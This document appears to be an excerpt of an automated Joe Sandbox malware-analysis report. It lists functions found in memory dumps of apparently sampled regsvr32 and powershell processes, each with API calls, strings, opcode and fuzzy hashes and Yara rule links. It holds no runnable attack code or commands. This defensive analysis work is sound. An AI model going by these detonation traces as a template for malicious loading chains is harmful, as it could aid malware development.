Instruction ID: 2d7768cf1dc99b55d3227218752d6ead3c40f8b12d4e11422beb40dfd74e861a
Opcode Fuzzy Hash: c8983595ceaa5ba76f605141cca68a1d372402d04fa407bee202103836b82639
Instruction Fuzzy Hash: A3016171D0420D9BEF10BFA4CC01BEEBBF8FB44364F200119E924AA280D774A502DBA5

Function 04F93AD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04F93B0C
__CallSettingFrame@12.LIBCMT ref: 04F93B58

Strings

j, xrefs: 04F93AE2

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: f348396704fc7f8bac78ebcdf07e9e8cb48e9860e181cb268830054982e1df9c
Instruction ID: f23f812d7ed20f414e911f1e44ec6b23a8a5149305c66173dfabaeae698a1f71
Opcode Fuzzy Hash: f348396704fc7f8bac78ebcdf07e9e8cb48e9860e181cb268830054982e1df9c
Instruction Fuzzy Hash: 90118C31D09255DEEF11DF68C944398BBB0BB05328F18828AD8A92F1E2C3756953CB81

Function 02643400 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02643437
__CallSettingFrame@12.LIBCMT ref: 02643483

Strings

j, xrefs: 0264340D

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 2d5c79073739351d5b3842c6d6c1ec2e7c65ba24b1d71476762812d21029c0e0
Instruction ID: 463acc34c8e8acef44c4000ee34976f2a3f40cb41fb72ae0429eec7d6067a5e9
Opcode Fuzzy Hash: 2d5c79073739351d5b3842c6d6c1ec2e7c65ba24b1d71476762812d21029c0e0
Instruction Fuzzy Hash: CC11A0319092909ECB12DF68C5843ACBB70BF01728FA842C9D4E42B6D3CB755962CF95

Function 6C8BC070 Relevance: 5.3, APIs: 4, Instructions: 288COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,000000B5,?), ref: 6C8BC165
memcpy.MSVCRT(?,00000003,00000002), ref: 6C8BC17B
memcpy.MSVCRT(?,000000B5,?), ref: 6C8BC355
memcpy.MSVCRT(?,00000003,00000002), ref: 6C8BC36B

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ae03a2a3a508a887f1228bac063574b12fe276091cd23d25991ee57077c1d43a
Instruction ID: e9259124ce64e5046368ee88d5149d5f27af3b123b88346bfeff818e9ed151c4
Opcode Fuzzy Hash: ae03a2a3a508a887f1228bac063574b12fe276091cd23d25991ee57077c1d43a
Instruction Fuzzy Hash: A6C1B175D016099FCB10CF98C880AEEBBB1FF99308F14466ED9087B352E7719916CB90

Function 6C948300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 6C94837B

Part of subcall function 6C947D40: TlsAlloc.KERNEL32(?,?,6C94832C), ref: 6C947D43

Strings

Error cleaning up spin_keys for thread , xrefs: 6C948306
once %p is %d, xrefs: 6C948370

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Allocfprintf
String ID: once %p is %d$Error cleaning up spin_keys for thread
API String ID: 386651473-1049478869
Opcode ID: eff5c31608cdad04c12fa67f2a142b9b958436bc80c40077a415babd40584a39
Instruction ID: 22149ed2fdd3eedf29d9016870da45659cc817c2319dff96fe3b5615389c3633
Opcode Fuzzy Hash: eff5c31608cdad04c12fa67f2a142b9b958436bc80c40077a415babd40584a39
Instruction Fuzzy Hash: 73F03C722083008AD700BF69994525EBAE9AF62248F11C82ED48487B11EB74C2488B97

Function 04F93E6E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04F93E7D

Part of subcall function 04F8A108: __getptd_noexit.LIBCMT ref: 04F8A10B
Part of subcall function 04F8A108: __amsg_exit.LIBCMT ref: 04F8A118

__getptd.LIBCMT ref: 04F93E8B

Strings

csm, xrefs: 04F93E99

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b6df51cf0bd50e8a3f4545857898d45d6830f72e6c8bdfca11c47be0234717bf
Instruction ID: 07c878cde64929a0ff8d92ec45e43882339806a47266621beafb02f0bf84cdb0
Opcode Fuzzy Hash: b6df51cf0bd50e8a3f4545857898d45d6830f72e6c8bdfca11c47be0234717bf
Instruction Fuzzy Hash: 33014B34C006068BFF36EF21D8406ADB7F5EF08215F54442ED8425A650CB72AD9BCF41

Function 02643799 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 026437A8

Part of subcall function 02639A33: __getptd_noexit.LIBCMT ref: 02639A36
Part of subcall function 02639A33: __amsg_exit.LIBCMT ref: 02639A43

__getptd.LIBCMT ref: 026437B6

Strings

csm, xrefs: 026437C4

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 232d83957bbd0d82e1ddc03cfa156672e8b489190560304b81aebacbb872713b
Instruction ID: fecbc4fe1f3a24d7a7ccc8a96ade3cbd0eb457cc1a1834671c09275fb5821a57
Opcode Fuzzy Hash: 232d83957bbd0d82e1ddc03cfa156672e8b489190560304b81aebacbb872713b
Instruction Fuzzy Hash: 92014B348026058FCF34AF66C480AAEBBB6AF01315F7544AED4C156760CF71E5A1CF55

Function 6C8A0890 Relevance: 5.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C869313,00000001,6C869314,?,?,?,6C89E52E,6C954010,00000000,?,6C8A41BB,00000001,?,6C8664F7), ref: 6C8A08A2
TlsGetValue.KERNEL32(00000000,?,00000000,6C8664F7,?,?,?,?,?,?,?,00000000,?,00000000,?,6C869314), ref: 6C8A08EC
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,6C8664F7,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6C8A08F8
TlsGetValue.KERNEL32(00000000,6C8664F7,?,?,?,?,?,?,?,00000000,?,00000000,?,6C869314,?,?), ref: 6C8A0925

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 18d017b907ea839a4aca6ecd6d596253b9820f573ce2a86fd05372a13865d549
Instruction ID: dfadd056078c1c78d19757aa0d6318372334406b925d5e47a620948dd3226ee5
Opcode Fuzzy Hash: 18d017b907ea839a4aca6ecd6d596253b9820f573ce2a86fd05372a13865d549
Instruction Fuzzy Hash: 0C416B71E412149FF7304B988D40BAB7778EF81B18F180825EA159BB81DB71EC0286E9

Function 6C85DF20 Relevance: 5.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,?,000000E8), ref: 6C85E029
memmove.MSVCRT(?,00000000,000000E8), ref: 6C85E03A
memcpy.MSVCRT(?,00000001,000000E8), ref: 6C85E07C
memcpy.MSVCRT(?,?,000000EC), ref: 6C85E0CB

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy$memmove
String ID:
API String ID: 1283327689-0
Opcode ID: bd9360b5ec95aa760c4ed2cc51bd7d3424e0bf53b0f17b6bfa8dedf76d68300f
Instruction ID: 195c3cb52136f26fcd239bf68f090e68426934c349c6768845df247b834b4123
Opcode Fuzzy Hash: bd9360b5ec95aa760c4ed2cc51bd7d3424e0bf53b0f17b6bfa8dedf76d68300f
Instruction Fuzzy Hash: 12514931A0421A8BDB11CF68CC417EAB7B4BF55308F08867AEC54FB782E775D9598790

Function 6C8A0750 Relevance: 5.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C95405C,?,5252E850,66000000,?,6C89F1B0,6C95405C,00000000,?,6C89F02D,00000000,?), ref: 6C8A0766
TlsGetValue.KERNEL32(00000000,?,?,00000000,6C89F02D,00000000,?,?,?,?,?,?,6C89E128,66000000,?), ref: 6C8A07BF
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,?,00000000,6C89F02D,00000000,?,?,?,?,?,?,6C89E128,66000000), ref: 6C8A07CB
TlsGetValue.KERNEL32(00000000,6C89F02D,00000000,?,?,?,?,?,?,6C89E128,66000000,?,?,6C89E65D,?,?), ref: 6C8A0821

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 4912b85591f73c7dd996e81e2642d5334e87bdda541fef23af52f2e0499c735d
Instruction ID: 9885973aa7c7cb62a38610a798ebd8d3f8462f4e9576d494234b396407410f14
Opcode Fuzzy Hash: 4912b85591f73c7dd996e81e2642d5334e87bdda541fef23af52f2e0499c735d
Instruction Fuzzy Hash: FF3169B1901210AFE3209BB48D40FEB77A4BF5171CF054974EA099BB41EF75E80A87E5

Function 6C903E70 Relevance: 5.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(-00000001,?,00000004,00000008,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903E8B
TlsGetValue.KERNEL32(00000000,?,00000000,?,?,00000004,00000008,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903ED8
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000004,00000008,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903EE4
TlsGetValue.KERNEL32(00000000,?,?,00000004,00000008,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C903F27

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 356e0de8516e246c8f1c5c6fee2e2a42a2e348497b3db3563614e0028ff2957e
Instruction ID: 23fb1b6f33ba0e79a72dffeced1336c8d6eaad06e577304c1dcbc563eda2c427
Opcode Fuzzy Hash: 356e0de8516e246c8f1c5c6fee2e2a42a2e348497b3db3563614e0028ff2957e
Instruction Fuzzy Hash: AF210671B022116BE7115B788C81FAA77BCBF92618F500539EB0897F80DB71D92986E5

Function 6C904030 Relevance: 5.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000017,?,00000008,00000010,?,00000000,00000000,?,?,?,00000000,?,?,00000004,00000008), ref: 6C90404B
TlsGetValue.KERNEL32(00000000,?,00000000,?,?,00000008,00000010,?,00000000,00000000,?,?,?,00000000), ref: 6C904098
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000008,00000010,?,00000000,00000000,?,?,?,00000000), ref: 6C9040A4
TlsGetValue.KERNEL32(00000000,?,?,00000008,00000010,?,00000000,00000000,?,?,?,00000000,?,?,00000004,00000008), ref: 6C9040E7

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 9be1c1c674fafc82c8d7e951f57395343471e55b869fd8cf474d29bcd7352da4
Instruction ID: 56041502fdbba2b62bbaf5872d14516a429e01637db5d57aa2b3de0d6ef28452
Opcode Fuzzy Hash: 9be1c1c674fafc82c8d7e951f57395343471e55b869fd8cf474d29bcd7352da4
Instruction Fuzzy Hash: D2213831B02211DBE7105BA88C80BAA767DAFB260CF50413DDA04A7F81DF71C9188AE6

Function 6C903F60 Relevance: 5.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000018,00000000,00000000,?,00000000,?,00000000,?,?,?,00000000,?,?,00000004,00000008), ref: 6C903F79
TlsGetValue.KERNEL32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,00000004,00000008,?,00000000,0000000C), ref: 6C903FD9
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,?,?,?,00000000,?,?,00000004,00000008,?,00000000), ref: 6C903FE5
TlsGetValue.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,00000004,00000008,?,00000000,0000000C,?,00000000,6C8F53E6), ref: 6C904016

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f18bbd5cd6c02126a7e02afd60c3dc750347692457972e8555422578534b479b
Instruction ID: 0e0e423c5b7326bc91da0872f2c3602417ba720c114c8a6e51f81b58eb110f09
Opcode Fuzzy Hash: f18bbd5cd6c02126a7e02afd60c3dc750347692457972e8555422578534b479b
Instruction Fuzzy Hash: 40213A717056116FE7108B798840F96B7BDFFA5B18F11442AEA18C7B40DBB2D82486A1

Function 6C8F8E40 Relevance: 5.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,00000001,?,6C8F9785,?), ref: 6C8F8E5E
memmove.MSVCRT(?,?,00000004,?,6C8F9785,?), ref: 6C8F8E78
GetStdHandle.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,00000000,00000001,?,?,6C8DC9EC,00000001,00000000,?), ref: 6C8F8EC3
GetLastError.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,00000000,00000001,?,?,6C8DC9EC,00000001,00000000,?), ref: 6C8F8ED1

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorHandleLastmemcpymemmove
String ID:
API String ID: 2696460671-0
Opcode ID: 61d69faa9b363769abfaaffa7862394fa4bed0858a0c08efa69addb2e9721151
Instruction ID: 710a0a103310246e868556a3ca661ff3cbe89efbccc64efc1b58a4c890124555
Opcode Fuzzy Hash: 61d69faa9b363769abfaaffa7862394fa4bed0858a0c08efa69addb2e9721151
Instruction Fuzzy Hash: EF113D622052542ED320167E9D81AA77B9CDF932A8F144D2BF994CBB41E661DD09C3B1

Function 6C86F0D0 Relevance: 5.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(-00000001,6C954010,00000000,6C866EF6,?,?,6C86B1EF,6C954010,00000000,?,6C86BEF3), ref: 6C86F0E2
TlsGetValue.KERNEL32(00000000,?,00000000,6C86BEF3,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C86F12C
TlsSetValue.KERNEL32(00000000,00000000,00000000,?,00000000,6C86BEF3), ref: 6C86F138
TlsGetValue.KERNEL32(00000000,6C86BEF3,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C86F165

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b7f9f38a2b199f6c72f59c5391b87fce161770dcfe28beffb96d795f2b14ae99
Instruction ID: 8029ab66315b061b54b58525125a66a83fd3b23352394d4b4af4360463195681
Opcode Fuzzy Hash: b7f9f38a2b199f6c72f59c5391b87fce161770dcfe28beffb96d795f2b14ae99
Instruction Fuzzy Hash: B3112EB16412146FE7324B3ACE40B9A376CFFB2A98F154821EA08DBF40DB71D80486B1

Analysis Process: powershell.exePID: 8120, Parent PID: 7988COMMON

Executed Functions

Function 07681D08 Relevance: 9.8, Strings: 7, Instructions: 1084COMMON

Download Yara Rule

Strings

tP^q, xrefs: 076828BD
$^q, xrefs: 07682878
$^q, xrefs: 07682884
4'^q, xrefs: 07681DBD
$^q, xrefs: 07682852
tP^q, xrefs: 076828C9
4'^q, xrefs: 07681DC9

Memory Dump Source

Source File: 00000008.00000002.1822258832.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 60dfae479998fa8761d82812dda1db58aba66e24076e7cbdd43823933afc6a78
Instruction ID: 12224a8cbd925f139f5f3525e265b81ce2381a917b6326bfbcbd3f5429c41f86
Opcode Fuzzy Hash: 60dfae479998fa8761d82812dda1db58aba66e24076e7cbdd43823933afc6a78
Instruction Fuzzy Hash: E08248B1B042099FCB55AB78D82066ABBE6BFC6310F1481BAD506CF351DB35DC86C7A1

Function 02DDF3A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1808936369.0000000002DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2ddd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80bed0b795b60bab0365f16098156b37c46be94f7f49419b7a518cab21989c55
Instruction ID: cceafa99f07ff00b312d55b96a8e53190c68d997b7f66de846d73d977eb51d2c
Opcode Fuzzy Hash: 80bed0b795b60bab0365f16098156b37c46be94f7f49419b7a518cab21989c55
Instruction Fuzzy Hash: 20210371500640DFDF05DF14D9C0B26BFA6FB88318F24C5A9E94A4E756C33AE856CBA1

Function 02DDF39B Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1808936369.0000000002DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2ddd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
Instruction ID: 7c9bcf4ae48b03c27acb33a7a0c926798c7d03465fee40e5a42a9924a8c88ab3
Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
Instruction Fuzzy Hash: 84219D76504640DFCB06CF10D9C4B16BF72FB48318F24C5A9D9494A766C33AD86ACB91

Function 02DDD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1808936369.0000000002DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2ddd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8190084715fc956b5528559203e6cebb8a1038a709874ef26d1197a436264e0
Instruction ID: e08bb3061acefe2d57720fea29d630b93f19c4d3215a747d7c5d8cded93b3bfc
Opcode Fuzzy Hash: e8190084715fc956b5528559203e6cebb8a1038a709874ef26d1197a436264e0
Instruction Fuzzy Hash: 1501F232009740AAEB208B29CD84B77BF98EF81324F28C52AEC480B346C379DC45C6B1

Function 02DDD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1808936369.0000000002DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DDD000, based on PE: false

